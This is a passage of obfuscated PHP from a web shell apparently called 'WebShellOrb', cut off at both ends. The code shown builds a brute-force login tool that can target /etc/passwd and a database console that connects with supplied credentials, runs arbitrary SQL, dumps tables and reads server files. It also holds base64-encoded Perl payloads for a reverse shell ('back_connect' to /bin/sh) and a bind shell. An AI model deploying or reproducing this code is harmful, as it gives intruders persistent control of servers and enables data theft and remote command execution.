x74"]="su\\x63c\\x65\\x73s";$kubptgfdsmd="lin\\x65";${${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["\\x6ao\\x71\\x6b\\x77\\x6f\\x77lna\\x74"]}++;echo"\\x3c\\x62>".htmlspecialchars($_POST["l\\x6f\\x67\\x69\\x6e"]).":".htmlspecialchars(${$kubptgfdsmd})."<\\x62r>";}}}}echo"\\x3c\\x73p\\x61n>A\\x74\\x74\\x65\\x6dpt\\x73:\\x3c/s\\x70a\\x6e\\x3e $attempts B\\x72u\\x74\\x65\\x66or\\x63e\\x3c/h\\x31\\x3e\\x3cd\\x69\\x76 c\\x6c\\x61s\\x73\\x3d\\x63on\\x74e\\x6et><\\x74\\x61ble>\\x3cf\\x6frm\\x20\\x6d\\x65\\x74hod=\\x70\\x6f\\x73\\x74>\\x3ct\\x72\\x3e\\x3c\\x74d\\x3eT\\x79\\x70\\x65\\x3c/s\\x70\\x61n>"."\\x3c\\x74\\x64>\\x4d\\x79S\\x71l\\x3c/t\\x64\\x3e\\x3c\\x74\\x72\\x3e<\\x74\\x64>"."<\\x69\\x6eput\\x20\\x74ype=h\\x69\\x64\\x64\\x65n \\x6e\\x61\\x6de\\x3d\\x63\\x20va\\x6c\\x75\\x65=\\"".htmlspecialchars($GLOBALS["cw\\x64"])."\\x22>"."\\x3ci\\x6e\\x70u\\x74\\x20\\x74\\x79p\\x65=hidde\\x6e\\x20\\x6ea\\x6de=a\\x20v\\x61l\\x75e\\x3d\\"".htmlspecialchars($_POST["a"])."\\x22\\x3e"."\\x3cinp\\x75\\x74\\x20\\x74\\x79p\\x65\\x3dh\\x69\\x64d\\x65n\\x20na\\x6de\\x3dc\\x68a\\x72\\x73\\x65\\x74 \\x76\\x61\\x6c\\x75e\\x3d\\x22".htmlspecialchars($_POST["\\x63h\\x61\\x72\\x73et"])."\\x22\\x3e"."\\x53erver:\\x70ort\\x3c/\\x73\\x70\\x61\\x6e>\\x3c/\\x74d\\x3e"."<\\x74\\x64\\x3e<\\x69nput \\x74yp\\x65=\\x74\\x65x\\x74\\x20\\x6ea\\x6d\\x65=\\x73er\\x76e\\x72\\x20\\x76a\\x6c\\x75\\x65\\x3d\\"\\x3127.0.\\x30\\x2e1\\x22\\x3e\\x3c/\\x74\\x64>"."<\\x74r\\x3e<\\x74d>Brute \\x74ype"."\\x3ci\\x6eput typ\\x65=r\\x61di\\x6f nam\\x65=\\x74\\x79pe \\x76\\x61l\\x75\\x65\\x3d\\x221\\"\\x20\\x63h\\x65cke\\x64\\x3e /e\\x74\\x63/\\x70\\x61sswd\\x3c/\\x6cab\\x65\\x6c\\x3e\\x3c\\x74d\\x3e\\x3c/t\\x64\\x3e\\x3c\\x74\\x64>\\x3cl\\x61\\x62e\\x6c\\x20\\x73t\\x79\\x6ce\\x3d\\x22p\\x61\\x64\\x64\\x69n\\x67-\\x6ceft:15\\x70x\\"\\x3e<\\x69\\x6epu\\x74 type=\\x63\\x68eck\\x62\\x6fx \\x6eame=re\\x76\\x65\\x72s\\x65 v\\x61l\\x75\\x65=\\x31\\x20\\x63h\\x65\\x63k\\x65d> r\\x65v\\x65rse (log\\x69n\\x20-\\x3e\\x20ni\\x67ol)\\x3c/lab\\x65\\x6c>"."\\x3ct\\x72>\\x3c/td><\\x74\\x64><\\x64\\x69\\x76\\x20\\x63las\\x73=cont\\x65\\x6et>\\n<\\x74r\\x3e\\n\\x3ct\\x64>\\x54\\x79p\\x65H\\x6fs\\x74\\x3c\\x74\\x64>\\x50a\\x73s\\x77o\\x72dD\\x61t\\x61\\x62\\x61\\x73\\x65\\x3c/\\x74d\\x3e\\n\\x3c\\x69\\x6e\\x70\\x75t\\x20ty\\x70\\x65=\\x68\\x69\\x64den \\x6ea\\x6de=a \\x76a\\x6cu\\x65=Sql>\\x3c\\x69\\x6ep\\x75\\x74 ty\\x70\\x65=h\\x69\\x64\\x64\\x65n\\x20\\x6eam\\x65=\\x70\\x31 v\\x61\\x6c\\x75e=\\x27q\\x75\\x65ry\'>\\x3ci\\x6e\\x70u\\x74 \\x74ype=hi\\x64\\x64\\x65\\x6e\\x20na\\x6de\\x3dp2\\x20v\\x61\\x6cu\\x65\\x3d\\x27\'>\\x3ci\\x6e\\x70\\x75\\x74 ty\\x70\\x65=\\x68id\\x64en\\x20\\x6e\\x61m\\x65\\x3dc \\x76al\\x75\\x65\\x3d\\x27".htmlspecialchars($GLOBALS["\\x63w\\x64"])."\'\\x3e\\x3c\\x69\\x6epu\\x74 \\x74\\x79\\x70e=hi\\x64\\x64e\\x6e \\x6e\\x61\\x6d\\x65=cha\\x72\\x73\\x65\\x74\\x20\\x76alue=\\x27".(isset($_POST["c\\x68\\x61r\\x73et"])?$_POST["charse\\x74"]:"")."\\x27\\x3e\\n<\\x74d\\x3e<\\x73elec\\x74\\x20n\\x61\\x6de=\'\\x74y\\x70\\x65\\x27><\\x6fpti\\x6fn\\x20v\\x61lue=\'mysq\\x6c\\x27\\x20";if(@$_POST["ty\\x70\\x65"]=="\\x6d\\x79\\x73ql")echo"\\x73\\x65\\x6ce\\x63t\\x65d";echo"\\x3eM\\x79\\x53\\x71l\\x3c/\\x6f\\x70t\\x69\\x6f\\x6e\\x3e\\x3co\\x70\\x74\\x69on\\x20v\\x61lu\\x65=\\x27\\x70\\x67\\x73ql\\x27 ";if(@$_POST["t\\x79pe"]=="\\x70\\x67s\\x71\\x6c")echo"\\x73\\x65l\\x65\\x63\\x74\\x65d";echo">Po\\x73\\x74\\x67\\x72eS\\x71\\x6c\\x3c/\\x74d>\\n\\x3c\\x74d><\\x69n\\x70ut\\x20\\x74y\\x70\\x65\\x3d\\x74\\x65\\x78\\x74\\x20\\x6e\\x61m\\x65\\x3dsql_h\\x6f\\x73\\x74\\x20value=\\x22".(empty($_POST["\\x73\\x71l_\\x68\\x6fst"])?"\\x6c\\x6fca\\x6chost":htmlspecialchars($_POST["s\\x71\\x6c\\x5f\\x68\\x6f\\x73t"]))."\\x22>\\x3c/\\x74\\x64>\\n\\x3ct\\x64>\\x3c\\x69\\x6epu\\x74 \\x74\\x79pe\\x3d\\x74e\\x78\\x74\\x20n\\x61me\\x3dsql\\x5f\\x6c\\x6f\\x67\\x69\\x6e\\x20v\\x61\\x6cue=\\x22".(empty($_POST["\\x73\\x71l\\x5fl\\x6f\\x67\\x69n"])?"\\x72o\\x6ft":htmlspecialchars($_POST["s\\x71l\\x5f\\x6c\\x6fg\\x69\\x6e"]))."\\"\\x3e\\x3c/t\\x64>\\n\\x3c\\x69\\x6e\\x70u\\x74\\x20type=te\\x78t n\\x61m\\x65=\\x73\\x71l_\\x70\\x61\\x73\\x73\\x20val\\x75e\\x3d\\"".(empty($_POST["\\x73\\x71\\x6c\\x5f\\x70as\\x73"])?"":htmlspecialchars($_POST["sql\\x5fpa\\x73s"]))."\\x22>\\x3c/\\x74\\x64\\x3e\\x3c\\x74\\x64\\x3e";${${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["e\\x63\\x62\\x63\\x6d\\x69\\x79\\x62ue"]}="<\\x69\\x6e\\x70\\x75\\x74\\x20t\\x79p\\x65\\x3d\\x74ext \\x6ea\\x6d\\x65=\\x73\\x71\\x6c_b\\x61\\x73e \\x76al\\x75\\x65\\x3d\'\\x27\\x3e";if(isset($_POST["\\x73ql\\x5fh\\x6fst"])){${"G\\x4c\\x4f\\x42ALS"}["\\x68\\x6f\\x6a\\x7an\\x77\\x68na\\x63\\x70\\x66"]="\\x74\\x6dp";if($db->connect($_POST["sq\\x6c_h\\x6f\\x73\\x74"],$_POST["s\\x71\\x6c\\x5f\\x6c\\x6f\\x67\\x69n"],$_POST["\\x73\\x71l\\x5fp\\x61\\x73s"],$_POST["s\\x71l_\\x62\\x61\\x73\\x65"])){switch($_POST["\\x63h\\x61r\\x73\\x65\\x74"]){case"Wi\\x6e\\x64\\x6f\\x77\\x73-12\\x351":$db->setCharset("\\x63p\\x31251");break;case"UT\\x46-8":$db->setCharset("\\x75\\x74f8");break;case"\\x4b\\x4fI\\x38-\\x52":$db->setCharset("\\x6boi\\x38\\x72");break;case"K\\x4fI\\x38-\\x55":$db->setCharset("k\\x6f\\x698u");break;case"cp\\x386\\x36":$db->setCharset("\\x63\\x70866");break;}$db->listDbs();echo"\\x3cs\\x65l\\x65\\x63\\x74 na\\x6d\\x65=\\x73\\x71\\x6c\\x5fb\\x61se\\x3efetch()){$vutoobappnb="\\x69\\x74em";${"\\x47\\x4cOB\\x41LS"}["dh\\x6e\\x71\\x6b\\x65\\x79"]="\\x76a\\x6c\\x75e";$dtvsszkh="\\x6b\\x65\\x79";list(${$dtvsszkh},${${"G\\x4c\\x4fB\\x41\\x4c\\x53"}["x\\x72d\\x62\\x6ex\\x66mv\\x74"]})=each(${$vutoobappnb});echo"";}else echo${${"GL\\x4f\\x42ALS"}["\\x68\\x6f\\x6a\\x7a\\x6e\\x77\\x68\\x6ea\\x63pf"]};}else echo${${"G\\x4cOB\\x41\\x4cS"}["ec\\x62\\x63\\x6di\\x79b\\x75e"]};echo"\\x3c/t\\x64>\\n\\t\\t\\t\\t<\\x69\\x6e\\x70u\\x74 \\x74\\x79p\\x65=sub\\x6dit valu\\x65=\\x27\\x3e\\x3e\\x27 o\\x6e\\x63l\\x69\\x63\\x6b=\'fs(d\\x2e\\x73\\x66);\\x27>\\n\\x20\\x20 \\x20\\x20\\x20\\x20\\x20 \\x20 \\x20\\x20\\x63o\\x75\\x6et\\x20th\\x65\\x20\\x6eu\\x6dbe\\x72\\x20\\x6f\\x66\\x20rows\\x3c/td\\x3e\\n\\t\\t\\t\\x3c/\\x74\\x72>\\n\\t\\t\\n\\x20\\x20 \\x20 \\x20s_db=\'".@addslashes($_POST["\\x73\\x71l_b\\x61\\x73e"])."\';\\n\\x20 \\x20 \\x20\\x20 \\x20\\x66\\x75\\x6ect\\x69o\\x6e\\x20\\x66\\x73(\\x66)\\x20{\\n \\x20\\x20 \\x20 \\x20\\x20\\x20\\x20 \\x69\\x66(f.\\x73\\x71l\\x5f\\x62ase\\x2eva\\x6c\\x75e!=\\x73_\\x64\\x62)\\x20{ \\x66\\x2eons\\x75\\x62\\x6d\\x69t\\x20\\x3d f\\x75n\\x63ti\\x6f\\x6e()\\x20{};\\n \\x20 \\x20\\x20\\x20\\x20 \\x20 \\x20 \\x20 \\x20\\x20\\x69\\x66(\\x66\\x2ep1) \\x66\\x2ep\\x31\\x2eval\\x75e=\\x27\\x27;\\n\\x20\\x20 \\x20\\x20\\x20 \\x20 \\x20 \\x20\\x20 \\x69\\x66(\\x66\\x2e\\x70\\x32) f.\\x70\\x32.v\\x61\\x6c\\x75e=\'\';\\n \\x20\\x20\\x20\\x20 \\x20 \\x20\\x20\\x20 \\x20 \\x20\\x20 \\x69\\x66(f\\x2e\\x703) f\\x2e\\x70\\x33.\\x76a\\x6cu\\x65=\\x27\'\\x3b\\n\\x20\\x20 \\x20 \\x20\\x20 \\x20 \\x20}\\n\\x20\\x20\\x20 \\x20 \\x20\\x20 \\x20}\\n\\t\\t\\tf\\x75\\x6ect\\x69on\\x20st(\\x74,\\x6c)\\x20{\\n\\t\\t\\t\\t\\x64\\x2e\\x73f.\\x701\\x2ev\\x61\\x6c\\x75e\\x20\\x3d \'s\\x65l\\x65ct\';\\n\\t\\t\\t\\t\\x64\\x2e\\x73f\\x2e\\x70\\x32\\x2e\\x76\\x61lue\\x20= \\x74;\\n\\x20\\x20\\x20\\x20 \\x20if(\\x6c\\x20\\x26\\x26\\x20\\x64.\\x73f.p\\x33)\\x20d.\\x73f\\x2ep\\x33.\\x76al\\x75\\x65 =\\x20l\\x3b\\n\\t\\t\\t\\t\\x64.sf.submit();\\n\\t\\t\\t}\\n\\t\\t\\t\\x66un\\x63\\x74\\x69\\x6fn\\x20i\\x73() {\\n\\t\\t\\t\\t\\x66o\\x72(i=\\x30;\\x69";if(isset(${${"\\x47\\x4c\\x4f\\x42\\x41LS"}["\\x62\\x6f\\x70\\x6d\\x77\\x65\\x6a\\x67ir\\x66"]})&&$db->link){echo"<\\x62r/\\x3eselectdb($_POST["\\x73ql\\x5f\\x62a\\x73e"]);echo"<\\x73\\x70an\\x3e\\x54\\x61b\\x6c\\x65s:\\x3cb\\x72\\x3e";${${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x64\\x6ecw\\x62\\x77\\x6c\\x72b\\x64"]}=$db->listTables();while(${$nejkldo}=$db->fetch(${${"\\x47LOB\\x41\\x4cS"}["dn\\x63\\x77\\x62\\x77l\\x72\\x62d"]})){${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x7a\\x73yujl\\x78\\x61\\x74\\x70\\x77"]="\\x76\\x61\\x6c\\x75\\x65";${"GLO\\x42\\x41L\\x53"}["\\x65a\\x68h\\x76\\x69\\x67h"]="v\\x61l\\x75\\x65";list(${${"\\x47\\x4cOBAL\\x53"}["\\x6f\\x6f\\x63wa\\x62\\x6f"]},${${"\\x47\\x4cO\\x42A\\x4cS"}["\\x65\\x61\\x68\\x68v\\x69\\x67\\x68"]})=each(${${"G\\x4c\\x4f\\x42\\x41L\\x53"}["\\x62d\\x6d\\x71wqv\\x66\\x71n"]});if(!empty($_POST["\\x73\\x71\\x6c_\\x63o\\x75\\x6et"]))${${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["\\x6f\\x6e\\x6d\\x64\\x72\\x78"]}=$db->fetch($db->query("S\\x45\\x4c\\x45\\x43T\\x20\\x43OUNT(*)\\x20a\\x73\\x20\\x6e\\x20\\x46R\\x4f\\x4d ".${${"\\x47L\\x4f\\x42\\x41LS"}["x\\x72db\\x6ex\\x66m\\x76\\x74"]}.""));${${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["x\\x72\\x64b\\x6e\\x78\\x66m\\x76\\x74"]}=htmlspecialchars(${${"GL\\x4f\\x42A\\x4c\\x53"}["\\x78r\\x64b\\x6ex\\x66\\x6d\\x76\\x74"]});echo"\\x3c\\x6eo\\x62\\x72>\\x3ci\\x6e\\x70ut\\x20t\\x79pe\\x3d\\x27ch\\x65\\x63\\x6b\\x62\\x6f\\x78\\x27\\x20name\\x3d\'\\x74bl[]\\x27 \\x76alu\\x65=\'".${${"GLOB\\x41L\\x53"}["x\\x72d\\x62\\x6e\\x78f\\x6dvt"]}."\'>\\x26\\x6ebsp\\x3b\\x3ca hr\\x65f=#\\x20o\\x6e\\x63li\\x63\\x6b\\x3d\\x22\\x73\\x74(\\x27".${${"G\\x4c\\x4f\\x42\\x41L\\x53"}["x\\x72d\\x62\\x6e\\x78\\x66m\\x76\\x74"]}."\',\\x31)\\x22\\x3e".${${"G\\x4cOB\\x41LS"}["\\x7a\\x73\\x79u\\x6a\\x6c\\x78\\x61\\x74\\x70w"]}."\\x3c/a\\x3e".(empty($_POST["\\x73\\x71\\x6c_\\x63ou\\x6et"])?"\\x26n\\x62\\x73\\x70;":" \\x3c\\x73mal\\x6c>({$n[\'n\']})")."";}echo"\\x3cinp\\x75t\\x20t\\x79\\x70\\x65\\x3d\'\\x63h\\x65ckbo\\x78\\x27\\x20\\x6f\\x6e\\x63l\\x69ck\\x3d\'\\x69\\x73();\\x27> <\\x69\\x6e\\x70u\\x74 \\x74\\x79p\\x65\\x3dbu\\x74t\\x6f\\x6e\\x20v\\x61lue\\x3d\'\\x44um\\x70\'\\x20\\x6f\\x6eclick\\x3d\\x27documen\\x74.s\\x66\\x2ep2.\\x76alue\\x3d\\"\\x64o\\x77nlo\\x61\\x64\\";\\x64\\x6f\\x63u\\x6d\\x65\\x6e\\x74\\x2esf\\x2e\\x73\\x75bmit()\\x3b\'>\\x3c\\x62\\x72\\x3eF\\x69l\\x65 p\\x61t\\x68:<\\x69\\x6e\\x70\\x75t t\\x79pe\\x3d\\x74\\x65\\x78t\\x20\\x6eame\\x3df\\x69le\\x20va\\x6cue\\x3d\'\\x64um\\x70.\\x73q\\x6c\'\\x3e\\x3ctd s\\x74yle\\x3d\\x27b\\x6frd\\x65r-t\\x6fp:2\\x70x \\x73\\x6f\\x6ci\\x64\\x20#666\\x3b\'\\x3e";if(@$_POST["\\x701"]=="\\x73\\x65\\x6c\\x65c\\x74"){$_POST["\\x701"]="\\x71ue\\x72y";${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x79\\x63\\x74\\x6ar\\x6c\\x73\\x65\\x6d\\x62z"]="\\x6e\\x75\\x6d";${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x66\\x79o\\x6ckb"]="\\x70\\x61\\x67\\x65\\x73";$_POST["p3"]=$_POST["\\x70\\x33"]?$_POST["p\\x33"]:1;$db->query("S\\x45\\x4c\\x45C\\x54 \\x43\\x4f\\x55\\x4eT(*) \\x61s\\x20\\x6e\\x20F\\x52OM\\x20".$_POST["\\x702"]);${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["k\\x6a\\x62\\x6b\\x7ae\\x6b\\x79\\x7a\\x6b\\x6b"]="pa\\x67\\x65s";${${"G\\x4cO\\x42\\x41\\x4c\\x53"}["\\x79ct\\x6ar\\x6c\\x73\\x65mb\\x7a"]}=$db->fetch();${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["\\x72\\x62\\x66\\x6b\\x66a\\x77\\x77\\x6c\\x70"]="\\x6e\\x75\\x6d";${${"G\\x4cO\\x42\\x41\\x4cS"}["k\\x6abk\\x7a\\x65\\x6by\\x7a\\x6bk"]}=ceil(${${"G\\x4cO\\x42\\x41\\x4cS"}["\\x72b\\x66\\x6bf\\x61w\\x77\\x6c\\x70"]}["\\x6e"]/30);echo"\\x3c\\x73c\\x72\\x69p\\x74>d\\x2es\\x66.o\\x6e\\x73ub\\x6d\\x69t\\x3dfu\\x6ectio\\x6e(){st(\\x22".$_POST["\\x70\\x32"]."\\x22, d.sf.p3.\\x76\\x61lue)}\\x3c/s\\x63\\x72\\x69\\x70\\x74>";echo" \\x6ff\\x20$pages";if($_POST["p\\x33"]>1)echo" \\x26\\x6ct\\x3b\\x20Prev";$_POST["p\\x33"]--;if($_POST["\\x74\\x79\\x70\\x65"]=="pg\\x73\\x71\\x6c")$_POST["\\x70\\x32"]="SE\\x4c\\x45\\x43T\\x20*\\x20F\\x52\\x4fM ".$_POST["p\\x32"]."\\x20L\\x49\\x4d\\x49\\x54\\x2030\\x20OFF\\x53ET ".($_POST["p3"]*30);else$_POST["p\\x32"]="\\x53E\\x4c\\x45\\x43\\x54\\x20*\\x20F\\x52\\x4f\\x4d\\x20`".$_POST["\\x70\\x32"]."\\x60\\x20\\x4cIMI\\x54 ".($_POST["\\x703"]*30).",\\x330";echo"<\\x62r><\\x62r>";}if((@$_POST["\\x701"]=="qu\\x65r\\x79")&&!empty($_POST["p\\x32"])){$db->query(@$_POST["\\x702"]);if($db->res!==false){$qkoefjgtvmo="li\\x6ee";$ofantutk="\\x69\\x74\\x65m";${${"\\x47L\\x4fBAL\\x53"}["\\x67\\x6cetwnsp\\x6an\\x74\\x64"]}=false;echo"\\x3ctabl\\x65 wi\\x64\\x74h\\x3d\\x310\\x30\\x25\\x20\\x63\\x65\\x6cl\\x73p\\x61\\x63ing\\x3d1 \\x63ell\\x70\\x61d\\x64\\x69\\x6e\\x67\\x3d\\x32\\x20cl\\x61\\x73\\x73=main s\\x74\\x79\\x6c\\x65=\\x22b\\x61\\x63kgro\\x75\\x6e\\x64-color:\\x23\\x32\\x392\\x39\\x329\\x22\\x3e";${$qkoefjgtvmo}=1;while(${$ofantutk}=$db->fetch()){${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x67\\x70b\\x70qso\\x6br"]="t\\x69\\x74\\x6c\\x65";if(!${${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x67p\\x62\\x70\\x71s\\x6fk\\x72"]}){$kmifpskdrsr="\\x69\\x74\\x65\\x6d";$cmpvdluse="t\\x69\\x74\\x6c\\x65";$gldaewbitzp="va\\x6c\\x75\\x65";${"\\x47\\x4c\\x4fB\\x41LS"}["p\\x71\\x78\\x67kwx\\x6a\\x75\\x6a\\x61"]="it\\x65m";${"\\x47L\\x4fB\\x41\\x4cS"}["\\x75\\x79\\x64j\\x61\\x68h\\x6d\\x64t\\x6a"]="\\x6b\\x65\\x79";echo"\\x3c\\x74r\\x3e";foreach(${$kmifpskdrsr} as${${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["o\\x6f\\x63\\x77\\x61\\x62\\x6f"]}=>${$gldaewbitzp})echo"";reset(${${"\\x47L\\x4f\\x42ALS"}["p\\x71x\\x67kw\\x78j\\x75\\x6aa"]});${$cmpvdluse}=true;echo"${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x78r\\x64bn\\x78\\x66\\x6d\\x76t"]}){if(${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["x\\x72\\x64\\x62\\x6e\\x78\\x66mv\\x74"]}==null)echo"<\\x74\\x64>\\x3ci>\\x6eu\\x6cl";else echo"";}echo"";}echo"\\x45\\x72r\\x6f\\x72:\\x3c/\\x62>\\x20".htmlspecialchars($db->error())."\\x3c/\\x64\\x69\\x76>";}}echo"\\x3cbr\\x3e\\x3c/\\x66o\\x72\\x6d><\\x66or\\x6d o\\x6e\\x73ub\\x6d\\x69t=\\x27\\x64\\x2e\\x73f\\x2ep1.val\\x75\\x65\\x3d\\"\\x71uer\\x79\\"\\x3bd.s\\x66.\\x702.v\\x61l\\x75\\x65=this\\x2equ\\x65ry.\\x76\\x61lu\\x65\\x3b\\x64\\x6fcumen\\x74\\x2esf.\\x73\\x75b\\x6d\\x69t();r\\x65\\x74u\\x72n\\x20fa\\x6cs\\x65\\x3b\\x27>\\x3c\\x74e\\x78\\x74a\\x72\\x65a\\x20n\\x61\\x6d\\x65=\'que\\x72\\x79\\x27 s\\x74\\x79\\x6ce=\\x27\\x77\\x69dt\\x68:100%;hei\\x67ht:1\\x300p\\x78\\x27>";if(!empty($_POST["\\x702"])&&($_POST["p1"]!="\\x6c\\x6fadf\\x69le"))echo htmlspecialchars($_POST["\\x702"]);echo"\\x3c/\\x74\\x65\\x78\\x74\\x61\\x72\\x65\\x61\\x3e
<\\x69\\x6ep\\x75\\x74\\x20\\x74\\x79pe\\x3d\\x73u\\x62\\x6dit v\\x61\\x6cu\\x65\\x3d\'E\\x78ec\\x75\\x74\\x65\\x27\\x3e";echo"\\x3c/\\x74\\x64\\x3e\\x3c\\x62\\x72/\\x3e";if($_POST["ty\\x70e"]=="my\\x73\\x71l"){$db->query("\\x53\\x45\\x4cECT\\x20\\x31\\x20FR\\x4fM\\x20\\x6d\\x79\\x73ql\\x2eu\\x73\\x65r WH\\x45RE c\\x6f\\x6ecat(\\x60us\\x65r\\x60, \\x27\\x40\\x27,\\x20`\\x68\\x6fs\\x74`)\\x20=\\x20\\x55SE\\x52()\\x20\\x41ND \\x60\\x46\\x69\\x6c\\x65\\x5f\\x70\\x72\\x69\\x76\\x60 =\\x20\\x27\\x79\\x27");if($db->fetch())echo"<\\x73pan\\x3eL\\x6fad\\x20fi\\x6ce\\x3c/\\x73\\x70\\x61\\x6e\\x3e\\x20\\x3ci\\x6e\\x70ut \\x74\\x79\\x70\\x65=s\\x75b\\x6d\\x69t val\\x75\\x65=\'>\\x3e\\x27>loadFile($_POST["\\x70\\x32"]);echo"<\\x62\\x72/\\x3e<\\x70\\x72e c\\x6c\\x61\\x73\\x73\\x3dml1\\x3e".htmlspecialchars(${${"\\x47LO\\x42ALS"}["\\x6b\\x6d\\x69i\\x68\\x63q\\x70\\x61\\x6e\\x72\\x73"]}["\\x66il\\x65"])."\\x3c/pre>";}}else{echo htmlspecialchars($db->error());}echo"";WebShellOrbFooter();}function actionNetwork(){${"GL\\x4fB\\x41\\x4cS"}["\\x6e\\x79\\x78\\x7axhcx\\x75"]="\\x62\\x61\\x63\\x6b_\\x63on\\x6ee\\x63\\x74_p";WebShellOrbHeader();${${"G\\x4c\\x4fB\\x41LS"}["\\x6ey\\x78\\x7a\\x78\\x68cxu"]}="\\x49\\x79\\x45\\x76dX\\x4e\\x79L\\x32\\x4ap\\x62\\x699wZ\\x58\\x4as\\x44Qp\\x31\\x63\\x32UgU29\\x6a\\x612\\x56\\x30Ow\\x30\\x4b\\x4a\\x47lhZ\\x47Ry\\x50Wlu\\x5aX\\x52\\x66YXR\\x76\\x62\\x69\\x67kQ\\x56\\x4aH\\x56l\\x73\\x77X\\x53k\\x67f\\x48wg\\x5aG\\x6c\\x6c\\x4bC\\x4a\\x46\\x63nJv\\x63\\x6aog\\x4aCF\\x63b\\x69\\x49\\x70\\x4f\\x770KJH\\x42hZ\\x47\\x52yP\\x58\\x4e\\x76Y2\\x74h\\x5a\\x47RyX2\\x6c\\x75\\x4b\\x43\\x52B\\x55k\\x64WWz\\x46dLCAka\\x57\\x46kZ\\x48\\x49pIHx8\\x49\\x47\\x52pZS\\x67i\\x52XJyb\\x33\\x49\\x36\\x49C\\x51h\\x58\\x47\\x34\\x69\\x4b\\x54sN\\x43\\x69\\x52w\\x63m\\x39\\x30bz\\x31n\\x5aX\\x52\\x77\\x63m9\\x30\\x62\\x32\\x4a\\x35b\\x6dF\\x74Z\\x53\\x67\\x6e\\x64G\\x4e\\x77J\\x79\\x6b\\x37\\x44\\x51p\\x7ab\\x32NrZX\\x51\\x6fU09\\x44\\x53\\x30\\x56\\x55LCB\\x51Rl\\x39J\\x54k\\x56\\x55LCBT\\x540\\x4e\\x4c\\x581NU\\x55k\\x56B\\x54\\x53\\x77\\x67J\\x48\\x42y\\x623R\\x76K\\x53\\x42\\x38fC\\x42k\\x61W\\x55\\x6fIkV\\x79c\\x6d\\x39\\x79\\x4f\\x69AkIVxu\\x49\\x69\\x6b\\x37\\x44Qpjb25\\x75ZW\\x4e\\x30KF\\x4e\\x50Q\\x30tF\\x56\\x43w\\x67J\\x48BhZ\\x47RyKSB8\\x66CB\\x6b\\x61\\x57\\x55\\x6fI\\x6bV\\x79\\x63m\\x39\\x79O\\x69A\\x6b\\x49V\\x78u\\x49\\x69\\x6b7D\\x51pvc\\x47Vu\\x4bFNU\\x52\\x45\\x6cO\\x4c\\x43Ai\\x50iZ\\x54T0N\\x4cR\\x56Q\\x69\\x4b\\x54s\\x4eCm\\x39wZ\\x57\\x34o\\x551\\x52ET1\\x56\\x55\\x4cC\\x41iP\\x69\\x5aT\\x540\\x4eL\\x52V\\x51iKT\\x73N\\x43\\x6d\\x39wZW4oU1\\x52\\x45R\\x56\\x4a\\x53\\x4c\\x43AiP\\x69\\x5aTT\\x30N\\x4cR\\x56Qi\\x4bT\\x73\\x4eCn\\x4e\\x35\\x63\\x33R\\x6c\\x62Sg\\x6eL\\x32\\x4ap\\x62\\x69\\x39\\x7a\\x61C\\x41\\x74\\x61Sc\\x70\\x4fw0K\\x592x\\x76c\\x32\\x55\\x6f\\x55\\x31\\x52E\\x53U4\\x70Ow0\\x4b\\x592xvc\\x32\\x55oU1RE\\x54\\x31VU\\x4bT\\x73\\x4e\\x43m\\x4e\\x73b\\x33Nl\\x4bFNU\\x52E\\x56SU\\x69k\\x37";${"\\x47L\\x4fBA\\x4c\\x53"}["n\\x6c\\x68\\x68\\x73z\\x69\\x67"]="b\\x69\\x6ed_port\\x5fp";${${"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x6e\\x6c\\x68h\\x73z\\x69\\x67"]}="\\x49yE\\x76d\\x58NyL\\x32J\\x70\\x62\\x69\\x39\\x77\\x5aXJ\\x73\\x44\\x51o\\x6bU\\x30\\x68F\\x54\\x45w\\x39I\\x699i\\x61\\x57\\x34v\\x632\\x67\\x67\\x4cW\\x6b\\x69Ow\\x30K\\x61\\x57Yg\\x4b\\x45BBU\\x6bdW\\x49\\x44\\x77\\x67\\x4d\\x53k\\x67\\x65yBleG\\x6c\\x30\\x4bDE\\x70\\x4f\\x79B9\\x44Q\\x701c\\x32UgU\\x329ja\\x32\\x560O\\x770K\\x63\\x32\\x39j\\x612V0KF\\x4d\\x73\\x4a\\x6c\\x42\\x47\\x58\\x30l\\x4fR\\x56Q\\x73JlN\\x50Q0t\\x66\\x55\\x31\\x52\\x53RU\\x46\\x4eL\\x47\\x64\\x6cdH\\x42\\x79b\\x33\\x52vY\\x6e\\x6cu\\x59W1l\\x4b\\x43\\x640\\x593\\x41\\x6e\\x4b\\x53\\x6bg\\x66\\x48w\\x67\\x5a\\x47llIC\\x4a\\x44\\x59\\x5750IGN\\x79ZW\\x460Z\\x53Bz\\x62\\x32N\\x72ZXRcbiI7\\x44\\x51pz\\x5aX\\x52\\x7a\\x622\\x4er\\x62\\x33\\x42\\x30\\x4b\\x46\\x4d\\x73\\x550\\x39MX\\x31\\x4e\\x50Q\\x30\\x74\\x46V\\x43x\\x54\\x54\\x319\\x53RV\\x56\\x54R\\x55F\\x45RF\\x49\\x73\\x4d\\x53\\x6b7\\x44\\x51\\x70\\x69\\x61\\x575\\x6bKFM\\x73c29ja2FkZH\\x4a\\x66\\x61W\\x34oJE\\x46\\x53R1\\x5ab\\x4dF\\x30s\\x53\\x55\\x35\\x42\\x52ERS\\x580FOW\\x53kp\\x49H\\x78\\x38\\x49\\x47\\x52p\\x5aS\\x41iQ2Fu\\x64\\x43Bvc\\x47\\x56uIH\\x42\\x76c\\x6e\\x52cb\\x69I\\x37\\x44\\x51\\x70sa\\x58\\x4e0\\x5a\\x57\\x34oUy\\x77\\x7aK\\x53B\\x38\\x66CBkaWUg\\x49\\x6b\\x4e\\x68b\\x6eQ\\x67\\x62Glzd\\x47\\x56\\x75IHBvc\\x6eR\\x63b\\x69\\x497\\x44Qp3\\x61\\x47lsZ\\x53\\x67\\x78K\\x53B7\\x44Qo\\x4a\\x59\\x57N\\x6aZX\\x420\\